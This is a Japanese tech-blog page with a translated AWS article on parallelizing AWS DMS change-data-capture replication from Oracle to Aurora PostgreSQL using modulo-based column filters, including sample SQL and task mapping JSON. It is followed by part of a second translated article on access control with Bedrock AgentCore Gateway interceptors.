TECH PLAY

AWS

AWS の技術ブログ

å…š3251ä»¶

本投皿は、Vanshika Nigam による蚘事 「 Improve AWS DMS continuous replication performance by using column filters to parallelize high-volume tables 」を翻蚳したものです。 デヌタベヌスの移行は難しく、特に、数十億件の゚ントリヌを持぀巚倧なテヌブルで、頻繁に曎新が行われる堎合は尚曎です。 AWS Database Migration Service (AWS DMS) は、 䞊列ロヌド や フィルタリング機胜 など、初期の䞀括デヌタ転送プロセスを倧幅に加速できる䟿利な機胜を提䟛しおいたす。 しかし、゜ヌスデヌタベヌスで急速か぀継続的な倉曎が行われる高頻床の倉曎デヌタキャプチャ (CDC) シナリオでは、特定の課題が残っおいたす。 このようなシナリオでは、タヌゲットデヌタベヌスは次のような課題に頻繁に盎面したす。 高レむテンシヌ – CDC プロセスが倉曎のペヌスに远い぀けない可胜性がありたす。倧量の継続的な倉曎により、゜ヌスずタヌゲットのデヌタベヌス間で倧幅な遅延が生じ、CDC のパフォヌマンスに圱響を䞎える可胜性がありたす。 デヌタ損倱のリスク – Oracle などのデヌタベヌスでは、AWS DMS が凊理する前に、redo ログやアヌカむブログが消去される可胜性があり、デヌタ損倱に぀ながる恐れがありたす。 保持期間の制限 – ストレヌゞの制玄や組織のポリシヌにより、保持期間を延長するこずが垞に可胜ずいうわけではありたせん。 リ゜ヌスの負荷 – 高頻床の CDC により、タヌゲットデヌタベヌスず AWS DMS レプリケヌションむンスタンスの䞡方に負荷がかかり、レむテンシヌの増加、スルヌプットの䜎䞋、リ゜ヌス消費の増加に぀ながる可胜性がありたす。 これらの課題に察凊するには、通垞、 適切なサむズのレプリケヌションむンスタンスを遞択する 、 タスクの䞊列化 、 AWS DMS のバッチ適甚機胜を䜿甚する 、AWS DMS タスク蚭定を最適化する、効率的なフィルタリング、そしお時には独自の゜リュヌションなど、倚面的なアプロヌチが必芁になりたす。 リレヌショナルデヌタベヌスのタヌゲットでは、フルロヌド䞊列蚭定ずは異なり、パフォヌマンス向䞊のための䞊列 CDC スレッドを䜿甚するオプションはありたせん。各タスクは単䞀のスレッドを䜿甚したす。AWS DMS の CDC を含むタスクが数癟䞇の倉曎むベントを適甚する必芁がある堎合は、論理的に独立したテヌブルグルヌプに察しお耇数の CDC タスクを䜿甚するこずをお勧めしたす。これにより、耇数の CDC スレッドを䜿甚できたす。さらに、適切なカラムフィルタヌを䜿甚しお、倧芏暡なテヌブルを耇数の CDC タスクに分割するこずもできたす。 この投皿では、CDC フェヌズでアクティビティの倚いテヌブルを耇数のタスクに分割するために 列フィルタヌ を䜿甚する方法に぀いお説明したす。 この手法により、移行プロセスを加速し、タヌゲットのレむテンシヌを削枛できたす。 ゜リュヌションの抂芁 AWS DMS の タスク は移行プロセスの䞭心ずなるものです。 テヌブルマッピング を通じお、移行察象の特定のテヌブル、ビュヌ、スキヌマを定矩したす。 このマッピングには、フィルタリング機胜があり、 WHERE 句を適甚するこずで、行数を制限したり、倧きなテヌブルを管理可胜な小さなセグメントに分割するこずができたす。 この機胜は埓来、フルロヌド操䜜に適甚されおきたしたが、この゜リュヌションでは、CDC タスクの最適化における可胜性を探りたす。 この投皿では、Oracle から PostgreSQL ぞの移行にこの゜リュヌションを実装したす。 同じアプロヌチを他のリレヌショナルデヌタベヌス間の移行にも適甚できたす。 この゜リュヌションを実装する手順は次のずおりです。 Oracle デヌタベヌスにサンプルテヌブルを䜜成し (この投皿では、 Amazon RDS for Oracle を䜿甚)、代衚的なデヌタを入力したす。 デヌタベヌスずテヌブルレベルでサプリメンタルロギングを確認しお有効化したす。 行をタスク間で均等に分散するのに適した䞍倉カラムを特定したす。䞍倉カラムの詳现に぀いおは、次のセクションを参照しおください。そのような列が存圚しない堎合は、次の手順を実行したす。そうでない堎合は、ステップ 4 に進んでください。 䞀時的な䞍倉カラムを NUMBER(1) デヌタ型で远加したす。 既存のデヌタに぀いおは、䞻キヌに察する剰䜙挔算を䜿甚しお、新しく䜜成した䞍倉カラムに倀を入力したす。この投皿では、 3 で割った剰䜙を䜿甚する䟋を瀺したす。この操䜜により、デヌタが 3 ぀の異なるグルヌプに効果的に分割され、各グルヌプは䞻キヌを 3 で割った剰䜙で識別されたす。 新しい䞍倉カラムに察しおサプリメンタルロギングを有効化したす。 新芏挿入時に自動的に剰䜙列を入力するトリガヌを䜜成したす。 剰䜙挔算の結果に基づいお、列フィルタヌを䜿甚しお耇数の AWS DMS タスクを䜜成したす。これらは、芁件に応じお、フルロヌドず CDC タスクたたは CDC のみのタスクのいずれかになりたす。この投皿では、3 で割った剰䜙に合わせお CDC のみの 3 ぀のタスクを䜜成したす。 移行䞭にタヌゲットで䞀時的な䞍倉カラムを陀倖するために、AWS DMS タスクに陀倖列フィルタヌを远加するこずを忘れないでください。 遞択したタヌゲットデヌタベヌス (この投皿では、 Amazon Aurora PostgreSQL 互換゚ディション をデヌタベヌスずしお䜿甚) に移行したデヌタを怜蚌したす。 Amazon CloudWatch を䜿甚しお AWS DMS タスクのパフォヌマンスを監芖したす。 次の図は、この゜リュヌションのアヌキテクチャを瀺しおいたす。 デヌタベヌスのむミュヌタブルカラムの特定方法 むミュヌタブルカラムずは、䞀床蚭定された倀を倉曎できないカラムのこずです。ミュヌタブルカラムずは、初期挿入埌に倀を倉曎できるカラムのこずです。 䞻キヌは䞍倉ですが、各行に固有のものです。しかし、私たちの焊点は、耇数の行で同じ倀を持぀可胜性のある䞍倉のカラムを特定するこずです。これにより、デヌタの分割が均等になり、AWS DMS タスク間で負荷が可胜な限り均等に分散されたす。䟋ずしおは、䜜成タむムスタンプ、カテゎリコヌド、゚リアコヌド、郚門識別子などが挙げられたす。このようなカラムを䜿甚するこずで、デヌタをより均等に分割でき、効率的なレプリケヌションず、デヌタ敎合性の維持が可胜になりたす。 重芁なのは、倚数のレコヌドに関連しながらも䞀定の倀を保぀カラムを特定し、それをパヌティション分割の基準ずしお䜿うこずで、デヌタの均等な分垃を実珟するこずです。 前提条件 始めるには、次の前提条件を満たす必芁がありたす。 アクティブな AWS アカりント 。 Oracle むンスタンス (この投皿では Amazon RDS for Oracle を䜿甚) たたは、オンプレミスの Oracle Database。 Aurora PostgreSQL たたは RDS for PostgreSQL デヌタベヌス (この投皿では Aurora PostgreSQL 互換を䜿甚)。ただ Aurora PostgreSQL クラスタヌを持っおいない堎合、䜜成したす。手順に぀いおは、 Amazon Aurora DB クラスタヌの䜜成 を参照しおください。 ゜ヌスずタヌゲットの䞡方のデヌタベヌスにアクセスできる レプリケヌションむンスタンス 。詳现に぀いおは、 AWS Database Migration Service の抂芁 を参照しおください。 ゜ヌスでサンプルテヌブルの構築 この蚘事では、RDS for Oracle のデヌタベヌスを䜿甚しお、次の DDL で TRAVEL_INFO ずいう名前のサンプルテヌブルを䜜成したす。 テヌブル TRAVEL_INFO を䜜成したす: CREATE TABLE travel_info ( travel_id NUMBER PRIMARY KEY, traveler_name VARCHAR2(100), destination VARCHAR2(100), travel_mode VARCHAR2(10), travel_date DATE ); TRAVEL_INFO テヌブルに代衚的なデヌタを挿入したす: INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (1, 'John Doe', 'Paris', 'air', TO_DATE('2025-02-15', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (2, 'Jane Smith', 'Venice', 'water', TO_DATE('2025-03-20', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (3, 'Mike Johnson', 'Inca Trail', 'land', TO_DATE('2025-04-10', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (4, 'Emily Chen', 'Tokyo', 'land', TO_DATE('2025-05-22', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (5, 'Carlos Rodriguez', 'Amazon River', 'water', TO_DATE('2025-06-15', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (6, 'Sarah Thompson', 'Camino de Santiago', 'air', TO_DATE('2025-07-01', 'YYYY-MM-DD')); INSERT INTO travel_info (travel_id, traveler_name, destination, travel_mode, travel_date) VALUES (7, 'Alex Morgan', 'Great Barrier Reef', 'water', TO_DATE('2025-08-12', 'YYYY-MM-DD')); ゜ヌス Oracle デヌタベヌスのセットアップ 次の手順に埓っお、゜ヌスの Oracle デヌタベヌスをセットアップしおください。 AWS DMS では、デヌタベヌスレベルのサプリメンタルロギングを有効にする必芁がありたす。次のク゚リを実行しお、デヌタベヌスレベルのサプリメンタルロギングを確認しおください。 SELECT supplemental_log_data_min ,supplemental_log_data_pk ,supplemental_log_data_fk ,supplemental_log_data_ui ,supplemental_log_data_all FROM v$database ; 最小限のサプリメンタルロギング (supplemental_log_data_min) が NO の堎合は、次のク゚リを実行しお有効にしおください。 EXEC rdsadmin.rdsadmin_util.alter_supplemental_logging('ADD'); CDC でレプリケヌションされるスキヌマのテヌブルに぀いお、テヌブルレベルのサプリメンタルロギングが有効になっおいるかを確認しおください。 SELECT owner ,log_group_name ,table_name ,DECODE(ALWAYS,'ALWAYS', 'Unconditional','CONDITIONAL', 'Conditional') always ,log_group_type FROM dba_log_groups WHERE owner IN UPPER(''); プラむマリキヌを持぀テヌブルに぀いおは、次のク゚リを実行するか、埌述の AWS DMS ゚ンドポむント蚭定で远加の接続属性を远加しお、サプリメンタルロギングを有効にしおください。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" ADD SUPPLEMENTAL LOG DATA (PRIMARY KEY) COLUMNS ; この䟋で䜿甚するテヌブルには䞍倉カラムがありたせん。そのため、AWS DMS タスクで WHERE 句を䜿甚するための䞀時的な䞍倉カラムを远加したす。 ALTER TABLE travel_info ADD mod_3 NUMBER(1); この新しい列にプラむマリキヌの剰䜙挔算の結果を蚭定するため、テヌブルを曎新したす。 UPDATE travel_info SET mod_3 = MOD(travel_id, 3); 新しい列に倀が正しく蚭定されたこずを確認するため、テヌブルを問い合わせたす。 SELECT * from travel_info ; この新しい列にサプリメンタルロギングを远加したす。サプリメンタルロギングが有効になっおいない堎合、AWS DMS タスクは倱敗したす。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" add SUPPLEMENTAL LOG GROUP LogGroupTest (MOD_3) ALWAYS ; 新しい行が挿入されるたびに剰䜙挔算の列を蚭定するトリガヌを䜜成したす。 CREATE OR REPLACE TRIGGER trg_travel_info_mod3 BEFORE INSERT OR UPDATE OF travel_id ON travel_info FOR EACH ROW BEGIN :NEW.mod_3 := MOD(:NEW.travel_id, 3); END ; / サンプルテヌブルのタヌゲットぞの構築 この投皿では、 travel_id カラムの Oracle デヌタ型 NUMBER を PostgreSQL のデヌタ型 INTEGER にマッピングしたした。これは、タヌゲットで正しい粟床を維持するためです。Oracle の NUMBER カラムから PostgreSQL の理想的なデヌタ型カラムぞの正確なデヌタ型マッピングを行うには、 Oracle の NUMBER デヌタ型を PostgreSQL に倉換する を参照しおください。 タヌゲットでテヌブル構造を䜜成するには、次のク゚リを実行したす。゜ヌスで䜜成した mod_3 カラムは含たれおいないこずに泚意しおください。 create table if not exists vanshika.travel_info ( travel_id integer not null, traveler_name character varying(100), destination character varying(100), travel_mode character varying(10), travel_date timestamp without time zone, constraint travel_info_pkey primary key (travel_id) ); タヌゲットにテヌブルが存圚しない堎合、AWS DMS は AWS DMS タスクで遞択されたテヌブル準備モヌド に関係なく、タヌゲットにテヌブルを䜜成したす。この堎合、DMS が䜙分な䞍芁カラム ( mod_3 カラムなど) を含むテヌブルを䜜成しおしたうこずに泚意が必芁です。 AWS DMS を䜿甚したデヌタ移行 このセクションでは、デヌタを移行する手順を説明したす。 AWS DMS ゚ンドポむントの䜜成 ゜ヌスずタヌゲットのデヌタベヌスに察しお AWS DMS ゚ンドポむントを䜜成 したす。AWS DMS ゚ンドポむントは、デヌタストアぞの接続情報、デヌタストアの皮類、堎所を提䟛したす。 Oracle ゜ヌス゚ンドポむントを䜜成する手順に぀いおは、 AWS DMS での Oracle デヌタベヌスの゜ヌス利甚 を参照しおください。 デフォルトの接続蚭定に加えお、オプションで AddSupplementalLogging=true ゚ンドポむント蚭定を远加するず、この投皿の前半で説明したク゚リを実行しおサプリメンタルロギングを明瀺的に远加しおいない堎合に、AWS DMS が Oracle デヌタベヌスにテヌブルレベルの サプリメンタルロギング を蚭定したす。 PostgreSQL タヌゲット゚ンドポむントを䜜成する手順に぀いおは、 AWS Database Migration Service のタヌゲットずしお PostgreSQL デヌタベヌスを䜿甚する を参照しおください。 AWS DMS タスクの䜜成 最初に RDS for Oracle から Aurora PostgreSQL 互換デヌタベヌスぞの別個のフルロヌドタスクを䜿甚しお、初期デヌタ移行を実行したこずに泚意しおください。フルロヌドが完了した埌、このブログの ゜ヌス Oracle デヌタベヌスのセットアップ セクションで説明されおいるように、フィルタリングに䜿甚する新しい列を゜ヌスに远加したした。 次のステップずしお、フィルタヌずしお mod_3 を䜿甚しおテヌブルを 3 ぀のタスクに分割したす。以䞋の JSON は、AWS DMS タスクのマッピングルヌルの䟋を瀺しおいたす。剰䜙列をタヌゲットから陀倖するために、 remove-column フィルタヌを远加するこずを忘れずに、3 ぀の別々の CDC タスクを䜜成しおください。 レプリケヌションタスクには、次の蚭定を䜿甚しおください: タスク識別子 には、識別可胜な名前を入力しおください。 ゜ヌスデヌタベヌス゚ンドポむント では、䜜成した Oracle ゚ンドポむントを遞択しおください。 タヌゲットデヌタベヌス゚ンドポむント では、䜜成した Aurora PostgreSQL ゚ンドポむントを遞択しおください。 タスクモヌド では、[プロビゞョンド] を遞択しおください。 レプリケヌションむンスタンス では、䜜成したプロビゞョンドむンスタンスを遞択しおください。 レプリケヌションタむプを [ 耇補のみ ] ã«èš­å®šã—おください。 タヌゲットテヌブル準備モヌドを [ 䜕もしない ] ã«èš­å®šã—おください。 タスク蚭定の䞋で[ CloudWatch ログ をオンにする] を有効にするず、問題をデバッグするこずができたす。 テヌブルマッピング では、 線集モヌド で  JSON ゚ディタ を遞択しおください。 DMS タスクのマッピングルヌルには、次の JSON を䜿甚しおください。スキヌマ名は、テヌブルが䜜成されたスキヌマ名に眮き換えおください。 { "rules": [ { "rule-type": "transformation", "rule-id": "259824354", "rule-name": "259824354", "rule-target": "column", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO", "column-name": "MOD_3" }, "rule-action": "remove-column", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "259793105", "rule-name": "259793105", "rule-target": "table", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "259761426", "rule-name": "259761426", "rule-target": "schema", "object-locator": { "schema-name": "VANSHIKA" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "selection", "rule-id": "259627857", "rule-name": "259627857", "object-locator": { "schema-name": "VANSHIKA", "table-name": "TRAVEL_INFO" }, "rule-action": "include", "filters": [ { "filter-type": "source", "column-name": "MOD_3", "filter-conditions": [ { "filter-operator": "eq", "value": "0" } ] } ] } ] 移行前評䟡チェックボックスをオフにしおください。 移行タスクのスタヌトアップ蚭定 では、[埌で手動で行う] を遞択しおください。 他の蚭定はデフォルトのたたにしお、[ タスクを䜜成 ] を遞択しおください。 同じ蚭定で他の 2 ぀のタスク を䜜成しおください。各タスクで、 mod_3 カラムの filter-conditions 倀を 0、1、2 に眮き換えるこずを忘れずに行っおください。 3 ぀のタスクを同時に実行しおください。 Aurora PostgreSQL に移行されたデヌタを select ク゚リを実行しお確認しおください。 ゜ヌスデヌタベヌスで DML 操䜜を実行し、これらの倉曎がタヌゲットテヌブルにどのように反映されるか、そしお DMS タスクが剰䜙フィルタヌに察応する行をどのようにピックアップするかを監芖しおください。 個々のタスクは自身のトランザクションの順序性を維持しおいたすが、3 ぀のタスク党䜓でのトランザクションの順序が必ずしも保たれるわけではないこずに泚意が必芁です。この順序の䞍敎合は、タスクの開始ず実行が独立しおいるこずに起因したす。したがっお、タヌゲットテヌブルに珟れるトランザクションの最終的な順序は、同じ゜ヌステヌブルに関係するものであっおも、各 CDC のみタスクの開始タむミングの圱響を受ける可胜性がありたす。 Oracle から移行する際は、 Oracle マテリアラむズドビュヌ を掻甚しお、遞択したカラムに基づいおフィルタリングされたマテリアラむズドビュヌを䜜成し、必芁なデヌタサブセットのみを PostgreSQL に移行するこずができたす。デヌタ倉換には䟿利ですが、マテリアラむズドビュヌでは゜ヌス偎で曎新のオヌバヌヘッドが発生し、移行のパフォヌマンスに圱響を䞎える可胜性がありたす。 可倉カラムを䜿甚しおテヌブルを分割した堎合の芳察 既存の travel_mode カラムを AWS DMS タスクのフィルタヌずしお䜿甚する代わりに、テヌブルに䞍倉カラムを導入するずしたす。この堎合でも、陞路、空路、氎路の移動手段に察応する 3 ぀の CDC タスクを䜜成するこずになりたす。 このシナリオをテストするには、 travel_mode 列のサプリメンタルロギングを有効にする必芁がありたす。これは、次の SQL コマンドを䜿甚しお行えたす。 ALTER TABLE "VANSHIKA"."TRAVEL_INFO" add SUPPLEMENTAL LOG GROUP LogGroupTest (TRAVEL_MODE) ALWAYS ; タスクをセットアップした埌、タスクを開始し、゜ヌスでフィルタヌに䜿甚されおいるカラムを曎新しおみおください。 UPDATE travel_info SET travel_mode = 'land' WHERE travel_id = 1 ; AWS DMS がこの倉曎を怜出できないこずがわかりたす。その結果、曎新がタヌゲットデヌタベヌス (この堎合は Aurora PostgreSQL 互換) に䌝播されたせん。このカラムの曎新は頻繁ではないかもしれたせんが、発生した曎新はすべお芋萜ずされたす。この動䜜は予期されたものですが、デヌタの䞍敎合に぀ながる可胜性がありたす。 したがっお、効果的なデヌタレプリケヌションを行うには、䜜成埌に倉曎されない䞍倉な列にフィルタヌを適甚するこずが重芁です。 パフォヌマンス比范 この投皿では、ビゞヌなテヌブルに察する倧量の CDC シナリオにおける AWS DMS のパフォヌマンスを評䟡したす。AWS DMS は、Oracle を゜ヌスずする CDC 操䜜䞭のRedo ログの読み取りに、Oracle LogMiner ず AWS DMS Binary Reader の 2 ぀のアプロヌチを提䟛しおいたす。この実隓では、LogMiner (オンラむンおよびアヌカむブされた Redo ログファむルを読み取るために蚭蚈された Oracle API) を䜿甚するこずにしたした。この゜リュヌションは Binary Reader ずも互換性がありたす。テストプロセスは 2 ぀の異なるフェヌズに分かれおいたした。最初に単䞀の CDC タスクを評䟡し、次にカラムフィルタヌを䜿甚しお耇数の CDC タスクに分割したした。 次のむンフラストラクチャを䜿甚したした。 ゜ヌス: RDS for Oracle むンスタンス むンスタンスクラス: db.r6i.xlarge ストレヌゞ: 50 GB (3000 IOPS の gp3) Oracle バヌゞョン: 19 (19.0.0.0.ru-2024-10.rur-2024-10.r1) タヌゲット: Aurora PostgreSQL 互換゚ディション むンスタンスクラス: db.r6i.xlarge Aurora PostgreSQL 互換゚ディションのバヌゞョン: 16.1 AWS DMS レプリケヌションむンスタンス むンスタンスクラス: dms.c5.xlarge 割り圓おられたストレヌゞ: 50 GB ゚ンゞンバヌゞョン: 3.5.4 50 カラムず 20 むンデックスを持぀サンプルテヌブルを䜜成したした。このテヌブルには、゜ヌスずタヌゲットの䞡偎で最初に 50,000 行のデヌタが栌玍されたした。次に、進行䞭の倉曎を耇補するための単䞀の CDC のみのタスクを蚭定したした。負荷の高い本番環境をシミュレヌトするために、䞀連の DML 操䜜を実行したした。100 䞇件の新芏レコヌドを挿入し、同時に 10 䞇件の既存レコヌドを曎新し、その埌 10 䞇件の曎新スクリプトを 2 回実行し、最埌にランダムに遞択された 10,000 件のレコヌドに察しお CDC トラフィックを生成したした。このテストにより、テヌブルに急激で倧芏暡な倉曎が加えられるシナリオを暡倣するこずができたした。この䞀連のプロセスにより、1 時間の期間で玄 5GB のアヌカむブログが生成されたした。゜ヌスデヌタベヌスでの倉曎率が高いため、このプロセスには時間がかかる可胜性がありたす。AWS DMS が゜ヌスデヌタベヌスから倧量のワヌクロヌドを受信するず、CDC タヌゲットレむテンシヌメトリクスが急䞊昇するこずがありたす。私たちのテストシナリオでは、激しい掻動期間䞭に CDC の埅ち時間がピヌク時で玄 600 秒に達しおいるこずが、次のスクリヌンショットに瀺されおいたす。 この最初のテストでは、単䞀の CDC タスクを䜿甚する堎合の、高ボリュヌム、高頻床倉曎シナリオにおけるパフォヌマンスぞの圱響の可胜性が浮き圫りになりたした。これにより、カラムフィルタヌを䜿っおタスクを分割し、ワヌクロヌドを分散しおレむテンシヌを䜎枛するこずを目的ずした埌続の実隓の舞台が敎いたした。次のグラフは、単䞀の CDC タスクず同じワヌクロヌドを 3 ぀の CDC のみタスクに分割した堎合のタヌゲットレむテンシヌを瀺しおいたす。 結果は、タヌゲットでのレむテンシが䜎枛されたこずを瀺しおいたす。この改善は、移行プロセスが高速化したこずを瀺しおいたす。埓来の CDC は単䞀スレッド操䜜でしたが、今回は CDC フェヌズで耇数のスレッドを䜜成し、゜ヌスからタヌゲットぞのデヌタ移行を行えるようになったためです。 実隓で䜿甚したデヌタ量は実際のシナリオを代衚するものではないかもしれたせんが、CDC 操䜜でカラムフィルタヌを䜿甚するこずのメリットを効果的に瀺しおいたす。 具䜓的には、移行プロセスを加速できるこずを瀺しおおり、これは倧量のデヌタ移行には䞍可欠です。 考慮事項 このアプロヌチを実装する際には、次の重芁な点に留意する必芁がありたす。 新しいカラムを远加するオヌバヌヘッド – 既存のテヌブル構造に適切な䞍倉カラムが芋぀からない堎合、この目的のために新しいカラムを远加するず、いくらかのオヌバヌヘッドが発生する可胜性がありたす。この倉曎はデヌタベヌススキヌマに圱響を䞎え、特にコヌドが党テヌブルをフェッチする堎合は、アプリケヌションロゞックの倉曎が必芁になる可胜性がありたす。ク゚リでこの新しいカラムのフィルタリングを実装する必芁があり、クラむアントアプリケヌションに圱響を䞎える可胜性がありたす。進める堎合は、運甚ぞの圱響を最小限に抑えるため、指定のメンテナンスりィンドり䞭にこれらの倉曎をスケゞュヌルしおください。 ゜ヌスレむテンシヌの朜圚的な増加 – 同時スレッド数が増えるず、゜ヌスレむテンシヌの増加が芳枬される可胜性がありたす。これは、耇数の䞊列読み取り操䜜によっお゜ヌスシステムに远加の負荷がかかるためです。 レプリケヌションむンスタンスの適切なサむゞング – AWS DMS レプリケヌションむンスタンスが、むンスタンスクラスずストレヌゞ容量の点で適切にサむズ蚭定されおいるこずを確認しおください。各タスクは、゜ヌスデヌタベヌスからすべおの REDO ログを読み取り、適甚できるたでそれらを栌玍する必芁があるため、十分なリ゜ヌスが䞍可欠です。 バランスの取れた負荷分散 – タスク分割のためのカラムを遞択する際は、䜜成するタスク間で䜜業負荷をできるだけ均等に分散するものを遞んでください。この均等な分散は、CDC フェヌズ䞭の䞊列凊理による効率化の利点を最倧限に掻かすための鍵ずなりたす。 これらの点を慎重に怜蚎するこずで、倧芏暡な移行シナリオに察しおも、朜圚的な問題や予期しない副䜜甚を最小限に抑えるような最適な AWS DMS を構築するこずができたす。 クリヌンアップ この蚭蚈で䜜成したリ゜ヌスで䞍芁になったものは、料金が発生しないように削陀しおください: Aurora PostgreSQL クラスタヌを削陀したす 。 RDS for Oracle デヌタベヌスを削陀したす 。 AWS DMS レプリケヌションむンスタンス、゜ヌスずタヌゲットの゚ンドポむント、タスクを削陀したす 。 この実隓を既存のデヌタベヌスで実斜し、運甚を続ける予定の堎合は、実隓が完了したら、゜ヌスずタヌゲットの䞡方のデヌタベヌスからテストテヌブルを明瀺的に削陀しおください。 結論 この投皿では、䞍倉のカラムに基づいお耇数の CDC タスクにワヌクロヌドを分散し、DMS カラムフィルタヌを䜿甚しお倧芏暡で頻繁に䜿甚されるアクティブテヌブルを移行する方法を瀺したした。 この手法を掻甚するこずで、デヌタの敎合性を維持しながら移行時間を短瞮できるこずを瀺したした。 この戊略は、フルロヌドず CDC プロセスの䞡方を最適化するため、同様の制玄に盎面する様々な倧芏暡移行に適甚できたす。 AWS DMS ずその機胜の詳现に぀いおは、 AWS DMS ドキュメント を参照しおください。AWS DMS フルロヌド移行のパフォヌマンスを改善するためのベストプラクティスに぀いおは、 䞊列読み蟌みずフィルタヌオプションを䜿甚しお AWS DMS によるデヌタベヌス移行を高速化する を参照しおください。 著者に぀いお Vanshika Nigam Vanshika は、AWS Database Migration Accelerator DMAチヌムの゜リュヌションアヌキテクトです。Amazon DMA Advisor ずしお、お客様がオンプレミスデヌタベヌスや商甚デヌタベヌスからAWSクラりドデヌタベヌス゜リュヌションぞの移行を加速できるよう支揎しおいたす。Amazon RDS ず AWS DMS で 7 幎以䞊の経隓を持぀圌女は、効率的なデヌタベヌス移行戊略の蚭蚈ず実装を専門ずしおいたす。
本蚘事は 2025 幎 11 月 26 日に公開された AWS Blog “ Apply fine-grained access control with Bedrock AgentCore Gateway interceptors ” を翻蚳したものです。 䌁業は AI ゚ヌゞェントを急速に採甚しおワヌクフロヌを自動化し生産性を向䞊させる䞭で、重倧な課題に盎面しおいたす。それは、組織党䜓で数千のツヌルぞの安党なアクセスを管理するこずです。珟代の AI アプリケヌションは、もはや少数の゚ヌゞェントが数個の API を呌び出すだけのものではありたせん。䌁業は統合 AI プラットフォヌムを構築しおおり、そこでは数癟の゚ヌゞェント、コンシュヌマヌ AI アプリケヌション、自動化されたワヌクフロヌが、異なるチヌム、組織、事業郚門にたたがる数千の Model Context Protocol (MCP) ツヌルにアクセスする必芁がありたす。 この芏暡の拡倧により、セキュリティずガバナンスに関する根本的な問題が発生したす。AI ゚ヌゞェント、ナヌザヌ、アプリケヌションなど、各呌び出し元が蚱可されたツヌルのみにアクセスできるようにするにはどうすればよいでしょうかナヌザヌ ID、゚ヌゞェントのコンテキスト、アクセスされたチャネル、垞に倉化しうる暩限に基づいお、ツヌルぞのアクセスを動的にフィルタリングするにはどうすればよいでしょうか゚ヌゞェントからツヌル、䞋流の API ぞず続くマルチホップのワヌクフロヌを通じお、機密デヌタを保護するにはどうすればよいでしょうかそしお、パフォヌマンスを犠牲にしたり、運甚䞊のボトルネックを䜜ったり、テナントやナヌスケヌスごずに個別の MCP サヌバヌむンスタンスを匷制したりするこずなく、これらすべおを実珟するにはどうすればよいでしょうか これらの課題に察応するため、 Amazon Bedrock AgentCore Gateway  ã¯ã‚²ãƒŒãƒˆã‚Šã‚§ã‚€ã‚€ãƒ³ã‚¿ãƒŒã‚»ãƒ—タヌずいう新機胜の提䟛を開始したした。この匷力な新機胜により、きめ现かなセキュリティ、動的なアクセス制埡、柔軟なスキヌマ管理が可胜になりたす。 きめ现かなツヌルアクセス制埡 ゚ンタヌプラむズのお客様は、統䞀された AgentCore Gateway を通じお数千もの MCP ツヌルをデプロむしおいたす。この単䞀のゲヌトりェむを䜿い、異なるチヌム、組織、コンシュヌマヌ AI アプリケヌション、AI ゚ヌゞェントがツヌルにアクセスしたす。各ツヌルには、呌び出し元のプリンシパルに応じたアクセス暩限が割り圓おられおいたす。ここでの課題は、プリンシパルの暩限に基づいお MCP ツヌルぞのアクセスを保護し、AgentCore Gateway ぞの ListTools、InvokeTool、Search API の呌び出しに察しお、コンテキストに応じたレスポンスを返すこずです。 ツヌルのフィルタリングは、゚ヌゞェント ID、ナヌザヌ ID、実行コンテキストなど、耇数の動的な芁因に基づいお行う必芁がありたす。暩限は、ナヌザヌコンテキスト、ナヌザヌが゚ヌゞェントにアクセスするチャネル、ワヌクスペヌスのアクセスレベル、その他のコンテキスト属性に基づいお動的に倉化する可胜性がありたす。そのため、叀い暩限状態をキャッシュするこずなく、暩限の倉曎が即座にツヌルの利甚可吊に反映されるセキュリティを考慮したフィルタリングが求められたす。 以䞋の図は、ナヌザヌに基づくツヌルフィルタリングの䟋です。ゲヌトりェむがナヌザヌ情報ずコンテキストを評䟡し、蚱可されたツヌルを返すたでの流れを瀺しおいたす。 MCP ず䞋流の API 間でのデヌタ保護ずスキヌマ倉換 AI ゚ヌゞェントず䞋流の API 間の連携を管理しながら、セキュリティず柔軟性を維持するこずは耇雑な課題です。組織は、MCP リク゚ストスキヌマを䞋流の API スキヌマに動的にマッピングする必芁がありたす。この動的マッピングにより、ナヌザヌがプロンプトで送信する可胜性のある個人識別情報 (PII) や機密個人情報 (SPI) を削陀・陀倖するなど、重芁なデヌタ保護機胜を実珟できたす。これにより、API 呌び出しで䞍芁な機密情報が䞋流の API に挏掩するのを防げたす。 さらに、お客様はスキヌマ倉換機胜を必芁ずしおいたす。これにより、API の仕様倉曎に察応しながら MCP スキヌマを維持し、䞋流の実装から独立させるこずが可胜になりたす。このような疎結合の構成であれば、AI ゚ヌゞェントずツヌル間の連携を壊すこずなく、API の改良ずバヌゞョン管理を円滑に進めるこずができたす。そのため、バック゚ンドチヌムは、゚ヌゞェント局ぞの倉曎を匷制したり、特定のツヌルスキヌマを孊習した AI モデルの再孊習を䟝頌したりする必芁はありたせん。API 実装の修正、フィヌルド名の倉曎、ペむロヌド構造の再構成、認蚌芁件の曎新ずいった倉曎を自由に実斜できたす。 マルチテナント SaaS におけるテナント分離 ゚ヌゞェントやツヌルをサヌビスずしお提䟛する組織には、耇雑なマルチテナンシヌ芁件がありたす。お客様は、適切なテナント分離を維持しながら、すべおのナヌザヌに察しお MCP サヌバヌを提䟛する必芁がありたす。これには、テナント ID ずナヌザヌ ID の䞡方の怜蚌が必芁です。マルチテナント MCP サヌバヌアヌキテクチャでは、異なるナヌザヌずワヌクスペヌスが完党に隔離された状態を保぀必芁があり、ツヌルアクセスはテナント境界に基づいお厳密に制埡する必芁がありたす。この課題には、テナントごずに個別のゲヌトりェむが必芁なのか、適切な分離保蚌があれば単䞀のゲヌトりェむでマルチテナントシナリオを安党に凊理できるのかを刀断するこずも含たれたす。 